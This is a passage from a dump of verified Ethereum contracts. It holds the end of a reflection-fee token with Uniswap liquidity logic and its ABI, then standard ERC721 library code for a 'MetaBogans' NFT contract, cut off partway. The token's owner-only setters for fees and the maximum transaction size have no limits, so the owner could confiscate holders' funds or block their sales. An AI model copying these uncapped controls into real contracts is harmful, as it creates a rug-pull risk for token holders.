if (!deductTransferFee) {
return tokenAmount.mul(_getReflectionRate());
} else {
return
tokenAmount.sub(tokenAmount.mul(_taxFee).div(10** _feeDecimal + 2)).mul(
_getReflectionRate()
);
}
}
function tokenFromReflection(uint256 reflectionAmount)
public
view
returns (uint256)
{
require(
reflectionAmount <= _reflectionTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getReflectionRate();
return reflectionAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(
account != address(uniswapV2Router),
"ERC20: We can not exclude Uniswap router."
);
require(!_isExcluded[account], "ERC20: Account is already excluded");
if (_reflectionBalance[account] > 0) {
_tokenBalance[account] = tokenFromReflection(
_reflectionBalance[account]
);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "ERC20: Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tokenBalance[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= maxTxAmount, "Transfer Limit Exceeds");
uint256 transferAmount = amount;
uint256 rate = _getReflectionRate();
uint256 contractTokenBalance = balanceOf(address(this));
uint256 ownerBal=balanceOf(ownerWallet);
if (!inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled) {
if(contractTokenBalance >= minTokensBeforeSwap)
swapAndLiquify(contractTokenBalance);
else if(ownerBal >= minTokensBeforeSwap) {
_reflectionBalance[ownerWallet] = _reflectionBalance[ownerWallet].sub(ownerBal.mul(rate));
_reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(ownerBal.mul(rate));
distributeOwner(ownerBal);
}
}
if(isFeeActive && !isTaxless[_msgSender()] && !isTaxless[recipient] && !inSwapAndLiquify){
transferAmount = collectFee(sender,amount,rate);
}
//transfer reflection
_reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate));
_reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate));
//if any account belongs to the excludedAccount transfer token
if (_isExcluded[sender]) {
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
}
if (_isExcluded[recipient]) {
_tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount);
}
emit Transfer(sender, recipient, transferAmount);
}
function collectFee(address account, uint256 amount, uint256 rate) private returns (uint256) {
uint256 transferAmount = amount;
//@dev tax fee
if(_taxFee != 0){
uint256 taxFee = amount.mul(_taxFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(taxFee);
_reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate));
_taxFeeTotal = _taxFeeTotal.add(taxFee);
}
//take owner fee
if(_ownerFee != 0){
uint256 ownerFee = amount.mul(_ownerFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(ownerFee);
_reflectionBalance[ownerWallet] = _reflectionBalance[ownerWallet].add(ownerFee.mul(rate));
if (_isExcluded[ownerWallet]) {
_tokenBalance[ownerWallet] = _tokenBalance[ownerWallet].add(ownerFee);
}
emit Transfer(account,ownerWallet,ownerFee);
}
//@dev liquidity fee
if(_liquidityFee != 0){
uint256 liquidityFee = amount.mul(_liquidityFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(liquidityFee);
_reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(liquidityFee.mul(rate));
if(_isExcluded[address(this)]){
_tokenBalance[address(this)] = _tokenBalance[address(this)].add(liquidityFee);
}
_liquidityFeeTotal = _liquidityFeeTotal.add(liquidityFee);
emit Transfer(account,address(this),liquidityFee);
}
//@dev burn fee
if(_burnFee != 0){
uint256 burnFee = amount.mul(_burnFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(burnFee);
_tokenTotal = _tokenTotal.sub(burnFee);
_reflectionTotal = _reflectionTotal.sub(burnFee.mul(rate));
_burnFeeTotal = _burnFeeTotal.add(burnFee);
emit Transfer(account,address(0),burnFee);
}
return transferAmount;
}
function _getReflectionRate() private view returns (uint256) {
uint256 reflectionSupply = _reflectionTotal;
uint256 tokenSupply = _tokenTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_reflectionBalance[_excluded[i]] > reflectionSupply ||
_tokenBalance[_excluded[i]] > tokenSupply
) return _reflectionTotal.div(_tokenTotal);
reflectionSupply = reflectionSupply.sub(
_reflectionBalance[_excluded[i]]
);
tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]);
}
if (reflectionSupply < _reflectionTotal.div(_tokenTotal))
return _reflectionTotal.div(_tokenTotal);
return reflectionSupply.div(tokenSupply);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
if(contractTokenBalance > maxTxAmount){
contractTokenBalance = maxTxAmount;
}
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function distributeOwner(uint256 amount) private lockTheSwap {
swapTokensForEth(amount);
payable(ownerWallet).transfer(address(this).balance);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function setPair(address pair) external onlyOwner {
uniswapV2Pair = pair;
}
function setTaxless(address account, bool value) external onlyOwner {
isTaxless[account] = value;
}
function setSwapAndLiquifyEnabled(bool enabled) external onlyOwner {
swapAndLiquifyEnabled = enabled;
SwapAndLiquifyEnabledUpdated(enabled);
}
function setFeeActive(bool value) external onlyOwner {
isFeeActive = value;
}
function setTaxFee(uint256 fee) external onlyOwner {
_taxFee = fee;
}
function setBurnFee(uint256 fee) external onlyOwner {
_burnFee = fee;
}
function setOwnerFee(uint256 fee) external onlyOwner {
_ownerFee=fee;
}
function setLiquidityFee(uint256 fee) external onlyOwner {
_liquidityFee = fee;
}
function setMaxTxAmount(uint256 amount) external onlyOwner {
maxTxAmount = amount;
}
function setMinTokensBeforeSwap(uint256 amount) external onlyOwner {
minTokensBeforeSwap = amount;
}
receive() external payable {}
} | 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nction"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setBurnFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setLiquidityFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMinTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setOwnerFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setTaxless","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"reflectionAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | false | 200 | Default | MIT | false | ipfs://72b7ade6f30d2e551f53d63442d4cbaf829dbbc2f3a467cfe57148a85a3c6107 |
|||
MetaBogans | MetaBogans.sol | 0x6d578df4238356f9f453744e86454f58b0289b03 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
